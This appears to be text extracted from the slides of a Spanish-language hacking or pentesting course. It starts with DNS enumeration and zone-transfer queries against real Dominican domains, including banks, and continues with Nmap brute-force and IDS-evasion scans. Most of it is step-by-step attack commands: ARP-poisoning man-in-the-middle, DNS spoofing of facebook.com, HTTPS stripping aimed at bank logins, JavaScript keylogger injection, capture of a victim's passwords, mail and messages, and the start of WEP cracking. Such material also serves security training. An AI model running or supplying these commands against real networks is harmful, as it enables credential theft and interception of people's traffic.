set q=any
grupolibre.org
set type=a
grupolibre.org
Enumeracion de Informacion
Consulta con Host
host h

host t MX viva.com.do
host t NX bpd.com.do
host t A qubit.do

Consulta con Dig


dig h

dig @8.8.8.8 google.com t MX


dig grupolibre.org t A
dig fsf.org t AAAA +short
Enumeracion de Informacion

Transferencia de Zonas

Para ver versin de bind en DNS

dig @190.8.32.80 version.bind txt chaos

Consulta transferencia de zonas

dig @8.8.8.8 viva.com.do t axfr

host l bhdleon.com.do
Enumeracion de Informacion
Scripts para fuerza bruta a DNS

dnsenum -f /usr/share/dnsenum/dns.txt grupolibre.org

fierce dns bpd.com.do threads 3

dmitry iwnse qubit.do

dmitry p orange.com.do f b

dnsrecon -d bpd.com.do -t axfr

dnsrecon d bpd.com.do
Enumeracion de Informacion

Bsqueda de correos con theHarvester:

theHarvester -d viva.com.do -b google > google.txt

theHarvester -d viva.com.do b linkedin

theHarvester d viva.com.do l 100 b twitter

Bsqueda inversa de Imgenes:


http://www.google.com

Busqueda de informacion en Pastebin:


http://www.pastebin.com
Enumeracion de Informacion

Descargar el script discover desde GitHub

https://github.com/leebaird/discover

bash discover.sh
Enumeracion de Informacion

Herramientas para encontrar documentos de la Victima:

goofile -d grupolibre.org f txt

metagoofil d viva.com.do t doc,pdf n 50 o


directorio f resultado.html

Foca

Google Hacking
Escaneos
Escaneos

El termino escaneo de puertos se emplea para designar a la accin de


analizar por medio de un programa el estado de los puertos de una
maquina conectada a una red de comunicaciones. Este detecta si un
puerto esta abierto, cerrado o protegido por un firewall (filtrado).

Se utiliza para detectar que servicios comunes esta ofreciendo la


maquina y posibles vulnerabilidades de seguridad segn los puertos
abiertos. Tambin puede llegar a detectar el sistema operativo que esta
ejecutando la maquina segn los puertos que tiene abiertos.

Objetivo: Tener un listado de todos los servicios, puertos, maquinas en


lnea.
Escaneos

Tipos de Escaneos

Barrido de Redes
Envo de paquetes de sondeo (Probe).
Rastreo de Redes
Determinar topologa de red.
Escaneo de Puertos
Determinar puertos TCP/UDP.
Identificacin de Sistemas Operativos
Determinar S.O. y sus versiones.
Escaneo de Versiones de Servicios de Red
Determinar banners de servicios.
Escaneo de Vulnerabilidades
Listar posibles vulnerabilidades.
Escaneos

Tipos de Escaneos
Escaneos

3 Way Handshake

Cada conexin legitima empieza con el 3 way handshake.


Usado para establecer una conexin TCP.

Objetivo: Este intercambia nmeros de secuencia que sern


incrementados a medida que dos computadoras intercambian
paquetes.
Escaneos

Herramientas para escaneos de Puertos y Vulnerabilidades:

Nmap

OpenVAS

Nessus

Nexpose

QualysGuard

Acunetix
Escaneos

NMAP

Es un programa de cdigo abierto que sirve para efectuar rastreo de


puertos escrito originalmente por Gordon Lyon (ms conocido por su
alias Fyodor Vaskovich) y cuyo desarrollo se encuentra hoy a cargo de
una comunidad.

Fue creado originalmente para Linux aunque actualmente es


multiplataforma. Se usa para evaluar la seguridad de sistemas
informticos, as como para descubrir servicios o servidores en una red
informtica, para ello Nmap enva unos paquetes definidos a otros
equipos y analiza sus respuestas.
Escaneos

Caracteristicas de NMAP

Descubrimiento de servidores: Identifica computadoras en una red,


por ejemplo listando aquellas que responden ping.

Identifica puertos abiertos en una computadora objetivo.

Determina qu servicios est ejecutando la misma.

Determinar qu sistema operativo y versin utiliza dicha


computadora, (esta tcnica es tambin conocida como fingerprinting).

Obtiene algunas caractersticas del hardware de red de la mquina


objeto de la prueba.
Escaneos

Interfaces Graficas de NMAP

Zenmap

Nmap-CGI

NmapWin

NmapW
Escaneos
Utilizar Nmap:

nmap help

-iL archivo # opcion para leer archivo con listados de IP.


-iR num # objetivos aleatorios.
--exclude host # objetivos aleatorios.
--excludefile # archivo fichero con IPs de exclusion.
-Pn # no ping.
-sn # ping sweep.
-PR # ping ARP.
-PS puerto # ping TCP SYN.
-PA puerto # ping TCP ACK.
-PU puerto # ping UDP.
-PE # ping ICMP.
Escaneos
Utilizar Nmap:

-PO protocolo # escaneo protocol.


--dns-server <>server # DNS.
--traceroute # para hacer traceroute del objetivo.
--osscan-limit # limita la deteccion.
--osscan-guess # revision extensa.
--max-os-tries # intentos para detectar el S.O.
-D # para senuelos.
-S IP # envia paquetes con una origen en una ip
especifica.
--spoof-mac MAC # envia tramas ethernet con direcc. MAC esp.
-g # cuando sea posible enva paquetes desde un
puerto.
-e # interface define la interface a utilizar.
Escaneos

Opciones principales en Nmap:

-sn # para un ping sweet para no se detectado.


-sP # para un ping scan.
-F # para un escaneo rpido de puertos
principales.
-sS # para no ser detectados.
-sA # para mas informacion.
--exclude IP # para excluir alguna IP o varias
separadas con ,.
-A # presenta mucha informacion, traceroute,
versin de servicios, script scanning.
-open # para ver puertos en estado abierto.
-n # para no hacer resolucin inversa de DNS.
-R # para resolucin inversa en todos los
equipos.
-T 0-5 # para escaneos lentos (0) o rapidos (5).
Escaneos

Opciones principales en Nmap:

-p # para especificarle los puertos.


-sV # para ver la versin de los servicios.
-sC # para ejecutar el script default de nmap.
-iL /archivo/ip.txt # para escanear las IP del archivo.
-oA /archivo/escaneo # para generarlo en formato de nmap.
-oN escaneo3 # para guardar el resultado en .txt.
-oX escaneo4.xml # para guardar el resultado como xml.
-oG escaneo5 # para guardar resultado y pueda ser
filtrado con grep.
-vv # para que me presente mas informacion.
-f # para fragmentar el tamano de los
paquetes.
-D # para hacer DECOY y tartar de evader IDS.
-PN # para tratar de sobre pasar firewalls.
Escaneos

Utilizando Nmap:

Para un escaneo de puertos en la red Interna.


nmap 192.168.1.0/24

Para realizar un ping scan a todo el rango de IP.


nmap -sP 192.168.1.0/24

Para tratar de identificar el S.O. del dispositivo.


nmap -O 192.168.1.25

O un poco mas intrusive.


nmap -O2 192.168.1.25

Para identificar un S.O. tipo Microsoft.


nmap script smb-os-discovery 192.168.1.25
Escaneos

Utilizando Nmap:

Para hacer un list scan.


nmap -sL 192.168.0.0

Para hacer un escaneo rapido de puertos principales.


nmap -F 192.168.1.25

Para hacer un ping scan.


nmap -sP 192.168.1.0/24

Para hacer ping y tratar de no ser detectado con ping sweets.


nmap -sn 192.168.1.25

Para obtener mas informacion combinada.


nmap -sA 192.168.1.25

Solo para ver puertos en estado abierto.


nmap -open 192.168.1.0/24
Escaneos

Utilizando Nmap:

Para identificar los S.O. tipo Microsoft en la Red.


nmap p 137,445 script=smb-os-discovery.nse 192.168.1.0/24

Para ver la version de los servicios y mas detalles.


nmap -vv -sV 192.168.1.25

Para ver version de los servicios y posibles vulnerabilidades.


nmap sV -sC 192.168.1.25

Para escanear todos los puertos TCP y UDP.


nmap sT sU 192.168.1.25

Para escanear puertos especificos.


nmap p 22,25,80-500 192.168.1.25

Para escanear puertos TCP y UDP especificos.


nmap -pU:137,445,53,T:21,139,440-445 192.168.1.0/24
Escaneos

Utilizando los Scripts en Nmap:

locate *.nse # para localizar la ruta de los scripts de Nmap.

Para validar equipos en la red con esta vulnerabilidad.


nmap --script smb-vuln-ms08-067.nse -p445 192.168.1.25

Para detectar la vulnerabilidad de heartbleed.


nmap -p 443 --script ssl-heartbleed 192.168.1.25

Para detector la vulnerabilidad poodle.


nmap -sV --version-light --script ssl-poodle -p 443 192.168.1.25

Para la enumeracion de un servicio web.


nmap -sV --script http-enum.nse IP

Para analizar las cabeceras de un servicio web.


nmap -sV --script http-title 192.168.1.25
Escaneos

Utilizando los Scripts en Nmap:

Para realizar ataques de fuerza bruta al puerto 21.


nmap -p 21 --script=ftp-brute grupolibre.org d

Para estar a la escucha de conexiones de dropbox en la red.


nmap --script=broadcast-dropbox-listener --script-args=newtargets -Pn

Para ver las cabeceras http.


nmap -sV --script http-headers grupolibre.org

Para ver los banners en los servicios.


nmap -sV --script=banner 192.168.1.25

Para lanzar todos los ataques hacia el protocolo smb.


nmap -sV --script=smb* 192.168.1.25
Escaneos

Utilizando los Scripts en Nmap:

Para hacer un broadcast en todo el segmento de Red.


nmap --script broadcast-ping 192.168.1.0/24

Para poner un sniffer en escucha en la Red.


nmap -sL --script=targets-sniffer -e wlan0

Para realizar fuerza bruta al servicios de Mysql.


nmap -p3306 --script mysql-brute.nse 192.168.1.25

Para realizar fuerza bruta al CMS wordpress.


nmap -sV -Pn --script http-wordpress-enum --script-args limit=20
grupolibre.org -d

Para descubrir posibles errores web.


nmap -Pn -p80 --script http-erros.nse grupolibre.org
Escaneos

Utilizando los Scripts en Nmap:

Para realizar un traceroute del dominio.


nmap --script http-trace grupolibre.org

Para realizar una posible enumeracion de los dominios en todo el


segmento interno.
nmap -sS --script smb-enum-domains.nse -pU:137,T:139 192.168.1.0/24

Para realizar una posible enumeracion de los usuarios en todo el


segmento interno.
nmap -sS --script smb-enum-users.nse -pU:137,T:139 192.168.1.0/24

Para realizar un traceroute del dominio o IP a consultar.


nmap --traceroute --script traceroute-geolocation.nse -p 80 fsf.org
Escaneos

Utilizando los Scripts en Nmap:

Para realizar una posible enumeracion de las sessiones en todo el


segmento interno.
nmap -sS --script smb-enum-sessions.nse -pU:137,T:139 192.168.1.0/24

Para encontrar posibles vulnerabilidades.


nmap -Pn --script=vuln 192.168.1.25

Para realizar una busqueda de posibles equipos con Remote Desktop


activado.
nmap -sV --script rdp-vuln-ms12-020.nse -p 3389 192.168.1.0/24

Para encuentrar el password o community string del servicios snmp.


nmap -sU -n -p 161 --script snmp-brute 192.168.1.1 --script-args
snmp-brute.communitiesdb=/ruta/diccionario
Escaneos

Evadiendo Firewalls e IDS con Nmap:

Para intentar sobre pasar los firewalls.


nmap PN -sV 192.168.1.25
nmap PN -sV 192.168.1.25 T4
nmap PN -n -sV 192.168.1.25

Para intentar no ser detectado con otras alternativas.


nmap -PA 192.168.1.25
nmap -PS 192.168.1.25
nmap -sS 192.168.1.25
nmap -sW 192.168.1.25
Escaneos

Evadiendo Firewalls e IDS con Nmap:

Para no hacer ping cuando se esta realizando el escaneo.


nmap -Pn 192.168.1.25

Para manipular el tamao de los paquetes fragmentar.


nmap -f p445 192.168.1.25

Hacer Decoy para hacer creer que el escaneo proviene de varias IPs.
nmap -D 192.168.1.70,192.168.1.71,192.168.1.5 -p80,25,445 -f n PS
Pn sV 192.168.1.25

Para hacer escaneos con IP Zombie y Puerto 1234.


nmap -P0 -sI 40.50.3.4:1234 192.168.1.25

Para intentar evadir con otras combinaciones.


nmap -sS -P0 192.168.1.25
Escaneos
Escaneos con archivos en Nmap:

Para realizar escaneos desde archivos con listado de IPs.


nmap -iL /ruta/archivo/listado-ip.txt

Para guardar el resultado en un archivo de texto.


nmap 192.168.1.0/24 > /ruta/archivo/escaneo.txt

Para generar el escaneo en formato de nmap.


nmap 192.168.1.0/24 -oA /ruta/archivo/escaneo

Para guardar el resultado en .txt.


nmap 192.168.1.0/24 -oN escaneo3

Para guardar en archivo xml.


nmap 192.168.1.0/24 -oX escaneo4.xml

Para guardar resultado y pueda ser filtrado con grep.


nmap 192.168.1.0/24 -oG escaneo5
Anlisis de Vulnerabilidades
Anlisis de Vulnerabilidades
Un anlisis de seguridad nos ayuda a identificar las vulnerabilidades
en nuestros servicios e infraestructuras.

Para realizar un anlisis de seguridad debemos tener ciertos skills o


habilidades de todo un profesional para poder realizar estos anlisis e
identificar cuales son esos problemas (insiders) empleados, (Outsiders)
crackers.

Como medimos la Seguridad?

Auditorias
Anlisis de Vulnerabilidades
Pentesting
Anlisis de Vulnerabilidades
Algunas Herramientas de Analisis de Vulnerabilidades:

Nmap

Nessus

OpenVAS

Nexpose

QualysGuard

Acunetix
Anlisis de Vulnerabilidades

Nessus
Para subir el servicio de Nessus
systemctl start nessusd

Para ver el status del servicio Nessus


systemctl status nessusd

Para entrar a la URL del servicio Nessus


https://127.0.0.1:8834

Para bajar el servicio una vez ya hemos terminado


systemctl stop nessusd
Anlisis de Vulnerabilidades

Nessus
Anlisis de Vulnerabilidades

Nessus
Anlisis de Vulnerabilidades

Nessus
Anlisis de Vulnerabilidades

Openvas
Para subir el servicio de Openvas
openvas-start

Para entrar a la URL del servicio Openvas


https://127.0.0.1:9392

Para bajar el servicio una vez ya hemos terminado


openvas-stop
Anlisis de Vulnerabilidades

Openvas
Anlisis de Vulnerabilidades

Openvas
Anlisis de Vulnerabilidades

Openvas
Sniffers
Sniffers
Que es un Sniffer?

Sniffer (analizador de protocolos) es un programa de captura de las


tramas de una red de computadoras.

Es algo comn que, por topologa de red y necesidad material, el medio


de transmisin (cable coaxial, cable de par trenzado, fibra ptica, etc.)
sea compartido por varias computadoras y dispositivos de red, lo que
hace posible que un ordenador capture las tramas de informacin no
destinadas a l. Para conseguir esto el analizador pone la tarjeta de red
en un estado conocido como "modo promiscuo" en el cual en la capa de
enlace de datos no son descartadas las tramas no destinadas a la
direccin MAC de la tarjeta; de esta manera se puede capturar (sniff,
"olfatear") todo el trfico que viaja por la red.
Sniffers
Sniffers

Los analizadores de paquetes tienen diversos usos, como monitorear


redes para detectar y analizar fallos, o para realizar ingeniera inversa
en protocolos de red. Tambin es habitual su uso para fines maliciosos,
como robar contraseas, interceptar correos electrnicos, espiar
conversaciones de chat, etc.

Un packet sniffer es un programa para monitorizar y analizar el trfico


en una red de computadoras, detectando los cuellos de botella y
problemas que existan. Tambin puede ser utilizado para "captar",
lcitamente o no, los datos que son transmitidos en la red.
Sniffers
Tipos de Sniffers

Tcpdump
Ngrep
Snort
Nwatch
Wireshark
Ettercap
Kismet
Dsniff
Sniffers
Utilidad de los Sniffers

Captura automtica de contraseas enviadas en claro y nombres de usuario de


la red.

Conversin del trfico de red en un formato inteligible por los humanos.

Anlisis de fallos para descubrir problemas en la red.

Medicin del trfico, mediante el cual es posible descubrir cuellos de botella en


algn lugar de la red.

Deteccin de intrusos, con el fin de descubrir Crackers.

Creacin de registros de red, de modo que los Crackers no puedan detectar que
estn siendo investigados.

Para los desarrolladores, en aplicaciones cliente-servidor. Les permite analizar la


informacin real que se transmite por la red.
Sniffer Tcpdump
Que es TCPDUMP?

Es una herramienta para la linea de comandos cuya utilidad principal


es analizar el trafico que circula por la red.

Permite al usuario capturar y mostrar en tiempo real los paquetes


transmitidos y recibidos por la red a la cual el ordenador esta
conectado. Fue escrito por Van Jacobson, Craig Leres, y Steven
McCanne mientras trabajaban en el Grupo de Investigacion de Red del
Laboratorio Lawrence Berkeley. Mas tarde el programa fue ampliado
por Andrew Tridgell.
Sniffer Tcpdump
TCPDUMP

Funciona en la mayoria de los sistemas operativos UNIX: Linux,


Solaris, BSD, Mac OS X, HP-UX y AIX entre otros. En esos sistemas,
tcpdump hace uso de la biblioteca libpcap para capturar los paquetes
que circulan por la red.

Existe una adaptacion de tcpdump para los sistemas Microsoft


Windows llamada WinDump y que hace uso de la biblioteca Winpcap.

En UNIX y otros sistemas operativos es necesario tener privilegios de


administrador (root) para utilizar tcpdump.
Sniffer Tcpdump
TCPDUMP: Tres modificadores posibles

Tipo: Puede ser host, net o port. estos indican respectivamente una
maquina, por ejemplo host 192.168.1.1, una red completa, por ejemplo
net 192.168, o un puerto en especifico por ejemplo port 21.

Dir: Especifica desde o hacia donde se va a mirar el flujo de datos.


tenemos src o dst y podemos combinarlos con or y and.

Proto: En este caso es el protocolo que queremos capturar. puede ser


tcp, udp, ip, ether, (en este caso captura tramas a nivel de enlace, arp,
rarp), fddi, etc.
Sniffer Tcpdump
TCPDUMP: Opciones

man tcpdump
tcpdump --help

-A: # Imprime cada paquete en codigo ASCII


-D: # Imprime la lista de interfaces disponibles
-n: # No convierte las direcciones de salida
-p: # No utliza la interfaz especificada en modo promiscuo
-t: # No imprime la hora de captura de cada trama
-x: # Imprime cada paquete en hexadecimal
-X: # Imprime cada paquete en hexadecimal y codigo ASCII
-c # count: Cierra el programa tras recibir count paquetes
-C # file_size
Sniffer Tcpdump
TCPDUMP: Opciones

-E # algo:secret
-F # file
-i # interface: Escucha en la interfaz especificada
-M # secret
-r # file
-s # snaplen
-T # type
-w # file: Guarda la salida en el archivo 'file'
-W # filecount
-y # datalinktype
-Z # user
Sniffer Tcpdump
TCPDUMP: Ejemplos

Para capturar trafico cuya direccion IP de origen sea 192.168.3.1


tcpdump src host 192.168.3.1

Para capturar tafico cuya direccion origen o destino sea 192.168.3.2


tcpdump host 192.168.3.2

Para capturar trafico con destino a la direccion MAC 50:43:A5:AE:69:55


tcpdump ether dst 50:43:A5:AE:69:55

Para capturar trafico con red destino 192.168.3.0


tcpdump dst net 192.168.3.0

Para capturar trafico con red origen 192.168.3.0/28


tcpdump src net 192.168.3.0 mask 255.255.255.240
tcpdump src net 192.168.3.0/28
Sniffer Tcpdump
TCPDUMP: Ejemplos

Para capturar trafico con destino el puerto 23


tcpdump dst port 23

Para capturar trafico con origen o destino el puerto 110


tcpdump port 110

Para capturar los paquetes de tipo ICMP


tcpdump ip proto \\icmp

Para capturar los paquetes de tipo UDP


tcpdump ip proto \\udp
tcpdump udp

Para capturar el trafico Web


tcpdump tcp and port 80

Para capturar las peticiones de DNS


tcpdump udp and dst port 53
Sniffer Tcpdump
TCPDUMP: Ejemplos

Para capturar el trafico al puerto telnet o SSH


tcpdump tcp and \(port 22 or port 23\)

Parar capturar todo el trafico excepto el web


tcpdump tcp and not port 80

otra forma
tcpdump tcp and ! port 80

Para capturar el trafico que va a la maquina con direccin MAC


0:2:a5:ee:ec:10
tcpdump ether host 0:2:a5:ee:ec:10
Sniffer Tcpdump
TCPDUMP: Ejemplos

Para capturar todo el trafico con origen o destino en la 10.0.0.0/24


tcpdump net 10.0.0.0/24
tcpdump net 10.0.0.0 mask 255.255.255.0

Para capturar todo trafico arp


tcpdump -n ether proto \\arp
tcpdump -n arp

Para capturar todo trafico ip


tcpdump -n ether proto \\ip

Para capturar todo el trafico Web (TCP port 80)


tcpdump tcp and port 80

Para capturar el todas las peticiones DNS


tcpdump udp and dst port 53
Sniffer Tcpdump
TCPDUMP: Ejemplos

Para capturar el trafico al puerto telnet o ssh


tcpdump tcp and \(port 22 or port 23\)

Para capturar todo el trafico excepto el web


tcpdump tcp and not port 80

Para capturar solo dos paquetes


tcpdump -c 2 -i eth0

Para imprimir los paquetes en ASCII


tcpdump -A -i eth0

Para guardar el resultado en un archivo


tcpdump -w edwin-archivo.pcap -i eth0

Para leer los archivos salvados en .pcap


tcpdump -tttt -r edwin-archivo.pcap
Sniffer Tcpdump
TCPDUMP: Ejemplos

Para leer paquetes mas grande de 1024 bytes


tcpdump -w g_1024.pcap greater 1024

Para leer paquetes menor de 1024 bytes


tcpdump -w l_1024.pcap less 1024

Para capturar paquetes que no sean arp ni rarp


tcpdump -i eth0 not arp and not rarp
Sniffers MITM
Sniffer Ettercap
Que es Ettercap?

Es un interceptor/sniffer/registrador para LANs con switch. Soporta


direcciones activas y pasivas de varios protocolos (incluso aquellos
cifrados, como SSH y HTTPS). Tambin hace posible la inyeccin de
datos en una conexin establecida y filtrado al vuelo aun manteniendo
la conexin sincronizada gracias a su poder para establecer un Ataque
Man-in-the-middle(Spoofing).

Muchos modos de sniffing fueron implementados para darnos un


conjunto de herramientas poderoso y completo de sniffing.
Sniffer Ettercap
Ettercap: Ejemplos

Ettercap tiene distintos modos en los que puede ser llamado para ser
utilizado ya sea a nivel grafico, a nivel de consola y a nivel de texto

ettercap -G para grafico


ettercap -C para consola
ettercap TQ para texto
Sniffer Ettercap
Ettercap: Man in the Middle (MITM) - Grafico

Primero verificamos nuestra IP y Mac Address.


ifconfig

Luego verificar si estamos en modo de retransmission.


cat /proc/sys/net/ipv4/ip_forward # si el resultado es 0 pues
debemos activarlo.

Activar el modo de retransmission.


echo 1 > /proc/sys/net/ipv4/ip_forward # con esto estariamos en modo
de retransmision y asi no
dejo a nadie sin internet.
Luego verificamos nuestro Gateway.
route n

Luego procedemos a abrir el Ettercap en modo grafico


ettercap G
Sniffer Ettercap
Ettercap: Man in the Middle (MITM) Grafico
Sniffer Ettercap
Ettercap: Man in the Middle (MITM) - Grafico

Luego en la pestana Sniff


Sniff unified sniff # y especifico la interface.

Luego en la pestana Host


Hosts Scan for host # para realizar el escaneo en la red.

Luego en la misma pestana Host


Hosts Hosts list # para ver el listado de los host
encontrados.

Nota: una vez que sabemos la IP del router y la IP del objetivo que
queremos atacar pues procedemos a elegirlos.

En el mismo menu de Hosts list de la pestana de Hosts selecciono la


IP objetivo y le damos Target 1, luego selecciono la IP del router y
le damos a Target 2.
Sniffer Ettercap
Ettercap: Man in the Middle (MITM) - Grafico

Luego en la pestana de MITM.

MITM ARP Poisoning # para el envenenamiento de


la table ARP de las IPs.

Luego dentro de ARP Poisoning seleccionamos.

ARP Poisoning Sniff remote conections # para activar el arp


poisoning

Luego procedemos a iniciar el Sniffing en la pestana Start.

Start Start sniffing


Sniffer Ettercap
Ettercap: Man in the Middle (MITM) - Grafico

Luego para ver las conecciones entre las IP en la pestana View.


View Conections

En el equipo objetivo se debe verificar la table ARP y confirmar que


tiene las misma que la de nuestro equipo atacante.
arp a # en caso de windows.
arp # en el caso de linux.

Nota: Luego de esto se debe usar el navegador en el equipo objetivo para


hacer pruebas a paginas que no sean https en la maquina del objetivo e
intentar hacer login con un usuario y contrasenas aunque sean falsos
para asi analizar el trafico con Ettercap o cualquier otro Sniffer como
Tcpdump o Wireshark.

Hacer pruebas con servicios de telnet o ftp para ver los passwords en
texto plano.

Por ejemplo: ftp://url_del_objetivo.com si tiene el servicio ftp arriba.


Sniffer Ettercap
Ettercap: Man in the Middle (MITM) Consola

Ettercap C # Para llamar a la herramienta a modo consola


Sniffer Ettercap
Ettercap: Man in the Middle (MITM) - Consola

Para utilizar Ettercap a nivel de consola es el mismo menu y los mismos


pasos que en el ambiente grafico, para llamarlo solo decimos:

ettercap -C
menu sniff unified sniff # especifico la interface.
menu Hosts scan for host o host list o a la H
menu Hosts host list o H

Es importante saber la IP de nuestro router con route n luego


selecciono mis objetivos (las IP), me coloco encima y le doy al "1" y al
router selecciono el 2.

menu MITM ARP Poisoning luego escribo remote


menu START start sniffing
menu VIEW Conections
Sniffer Ettercap
Ettercap: Man in the Middle (MITM) - Texto

Para utilizar Ettercap a nivel de texto en la consola es muy simple y


puede ser utilizado en algun script automatizado, para esto lo hacemos
de la siguiente manera:

Para estar en modo de retransmisin.


echo 1 > /proc/sys/net/ipv4/ip_forward

Para snifiear a una IP objetivo y el Gateway.


ettercap -TQ -M ARP:remote -i wlan0 //192.168.0.8/ //192.168.0.1/

Para snifear toda la red.


ettercap -TQ -M ARP:remote -i wlan0 // //

En otra consola decimos driftnet -i wlan0 para sniffear imagenes.


driftnet -i wlan0
Sniffer Ettercap
Ettercap: Man in the Middle (MITM) - Texto

Ahora con ettercap vamos hacer DNS SPOOFING para engaar el dns del
nuestra victima o de la red.

locate etter.dns # para encontrar este archivo

vim /etc/ettercap/etter.dns # lo editamos y donde dice microsoft


suck ahi agrego la url que quiero
y que apunte hacia la IP que quiero
para redirigir la pagina a otra URL.

Un ejemplo en el archivo etter.dns seria:


www.facebook.com A ip-publica-de-grupolibre.org
https://facebook.com A ip-publica-de-grupolibre.org

Luego procedemos a activar el dns_spoof en otra consola:


ettercap -TQ -M ARP -i wlan0 -P dns_spoof /192.168.0.8/ //192.168.0.1/

Verificamos navegando en facebook.com en la maquina de la victima.


Sniffer MITMF
MITMF: Man in the Middle (MITM) - Consola

mitmf --help

MITMF para sobre pasar la seguridad de hsts en los servicios con https

mitmf -i wlan0 --spoof --arp --target 192.168.0.8 --gateway


192.168.0.1 --hsts

Nota: ver su tabla ARP con arp a y luego probar en la maquina del
usuario paginas con https para ver sus contraseas aun entrando a
paginas con https.

Para colocar un keylogger en la maquina objetivo Local con la


herramienta MITMF.

mitmf -i wlan0 --spoof --arp --target 192.168.0.8 --gateway


192.168.0.1 --jskeylogger
Sniffer MITMF
MITMF: Man in the Middle (MITM) - Consola

MITMF para sobre pasar la seguridad de hsts en los servicios con https
para mas Hackeos en todo el segmento de Red.

echo 1 > /proc/sys/net/ipv4/ip_forward

Para redirigir el trafico del Puerto 80 hacia el Puerto 10000

iptables -t nat -A PREROUTING -p tcp -i wlan0 --dport 80 -j REDIRECT


--to-port 10000

mitmf -i wlan0 -l 10000 --arp --spoof --hsts --gateway 192.168.0.1

Nota: ver su tabla ARP con arp a y luego probar en la maquina del
usuario paginas con https para ver sus contraseas aun entrando a
paginas con https.

Por ejemplo: www.facebook.com


Sniffer Dsniff
DSNIFF: Man in the Middle (MITM) - Consola

Dsniff para capturar password en texto plano.

Activar el IP Forwarding.

echo 1 > /proc/sys/net/ipv4/ip_forward

Confirmar el IP Forwarding.

cat /proc/sys/net/ipv4/ip_forward

Verificar nuestro Gateway.

route -n

Activar el sniffer con arpspoof y cola IP del Objetivo y la del Gateway.

arpspoof -i wlan0 -t 192.168.0.8 -r 192.168.0.1


Sniffer Dsniff
DSNIFF: Man in the Middle (MITM) - Consola

Nota: con esto hemos modificado la tabla arp de nuestro objetivo,


ponindole la mac address del atacante para poder hacer MITM.

Para confirmar que la tabla arp cambio en el objetivo decimos:

arp -a

En otra consola abrir el dsniff para estar escuchado y ver posibles


credenciales en texto plano.

dsniff -i wlan0

Navegar a paginas de que no sean https en la maquina del objetivo e


intentar hacer login con un usuario y contrasenas aunque sean falsos.

Por ejemplo: ftp://url_del_objetivo.com si tiene el servicio ftp arriba.


Sniffer Dsniff
DSNIFF: Man in the Middle (MITM) - Consola

Una vez que iniciamos el sniffer arpspoofing podemos lanzar lo siguiente los
siguiente sniffers en otras consolas:

dsniff -i wlan0 # para capturar passwords de la victima.


mailsnarf -i wlan0 # para capturar posibles correos de la
victima.
msgsnarf i wlan0 # para capturar posibles mensajes de la
victima.
urlsnarf i wlan0 # para ver cuales URLs visita nuestra
victima.

locate dnsspoof.hosts # para ver la ruta del archivo.


dnsspoof -i wlan0 -f /usr/share/dsniff/dnsspoof.hosts

Si queremos matar conexiones de internet establecidas de nuestra victima


hacemos lo siguiente:

tcpkill -i wlan0 dst 192.168.1.101 and dst port PUERTO-27015


tcpkill -i wlan0 host www.microsoft.com
Sniffer SSLStrip
SSLSTRIP: Man in the Middle (MITM) - Consola

SSLSTRIP es una herramienta para sobre pasar la seguridad de https y ver


las credenciales de los objetivos.

Activar el IP Forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

Confirmar si esta activo con 1 el IP Forwarding.


cat /proc/sys/net/ipv4/ip_forward

Ver las reglas en IPTABLES y tablas ARP.


iptables -t nat -L

Verificar la tabla ARP en el sistema objetivo.


arp -a # en el caso de windows
arp # en el caso de linux
Sniffer SSLStrip
SSLSTRIP: Man in the Middle (MITM) - Consola

Redirigir el trafico del puerto 80 al puerto 8080 para que sea


monitoreado por sslstrip.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j


REDIRECT --to-port 8080

Confirmar la regla en IPTABLE.


iptables -t nat -L

Verificar nuestro Gateway.


route -n

Activar el sniffer con arpspoof y cola IP del Objetivo y la del Gateway.


arpspoof -i wlan0 -t 192.168.0.8 -r 192.168.0.1
Sniffer SSLStrip
SSLSTRIP: Man in the Middle (MITM) - Consola

Nota: con esto hemos modificado la tabla arp de nuestro objetivo,


poniendole la mac address del atacante para poder hacer MITM.

para confirmar que la tabla ARP fue modificada en el objetivo decimos:


arp -a

En otra consola abrir el sslstrip y con el puerto 8080 que especificamos


en la regla de IPTABLE.
sslstrip -l 8080

Colocar un sniffer con tcpdump y guardarlo en un archivo para


analizarlo.
tcpdump -i wlan0 -vv -X -nn tcp and host 192.168.0.8 and port 80 >
qubit.pcap

Navegar a paginas de bancos en la maquina del objetivo e intentar hacer


login con un usuario y contraseas aunque sean falsos.
Sniffer SSLStrip
SSLSTRIP: Man in the Middle (MITM) - Consola

Analizar los archivos qubit.pcap y el sslstrip.log que estan en el


directorio actual

less qubit.pcap | grep -i password


less qubit.pcap | grep -i username

cat sslstrip.log

Para deshacer todos los cambios procedemos a hacer lo siguiente:

"Ctrl + C" al arpspoof


"Ctrl + C" al sslstrip -l 8080
iptable -t nat -F
iptable -t nat -X
echo 0 > /proc/sys/net/ipv4/ip_forward
Sniffer Wireshark
WIRESHARK

Wireshark, antes conocido como Ethereal, es un analizador de protocolos


utilizado para realizar anlisis y solucionar problemas en redes de
comunicaciones, para desarrollo de software y protocolos, y como una
herramienta didctica. Cuenta con todas las caractersticas estndar de un
analizador de protocolos de forma nicamente hueca.

La funcionalidad que provee es similar a la de tcpdump, pero aade una


interfaz grfica y muchas opciones de organizacin y filtrado de informacin.
As, permite ver todo el trfico que pasa a travs de una red (usualmente una
red Ethernet, aunque es compatible con algunas otras) estableciendo la
configuracin en modo promiscuo. Tambin incluye una versin basada en
texto llamada tshark.
Sniffer Wireshark
WIRESHARK
Sniffer Wireshark
WIRESHARK
Cracking Wireless Network
Cracking Wireless
Cracking Wireless
Son muchas las herramientas que se pueden utlizar para crackear las
credenciales en una red Wifi.

Las herramientas mas importantes a mencionar son las siguientes:

Aircrack-ng
Gerix
Fern Wifi
Linset
Cracking Wireless
Aircrack-ng

Es una suite de software de seguridad inalmbrica. Consiste en un analizador


de paquetes de redes, un crackeador de redes WEP y WPA/WPA2-PSK y otro
conjunto de herramientas de auditora inalmbrica.

Entre las herramientas que se incluyen en esta suite se encuentran las


siguientes:

airbase-ng
aircrack-ng
airdecap-ng
airdecloak-ng
airdriver-ng
aireplay-ng
airmon-ng
airodump-ng
Cracking Wireless
Aircrack-ng: Wireless WEP

Verificar nuestra interface de Red.


iwconfig

Si nuestra interface se llama wlan0 pues la ponemos en modo monitor.


airmon-ng start wlan0

Luego procedemos a monitorear todas las redes inalmbricas que


alcancemos.
airodump-ng wlan0mon

Luego que identificamos la red que queremos romper pues hacemos lo


siguiente en otra pestana.
airodump -w NOMBRE-DE-LA-RED-WEP -c el-canal --bssid mac-address-gw
mon0 --ignore-negative-one
Craking Wireless
Aircrack-ng: Wireless WEP

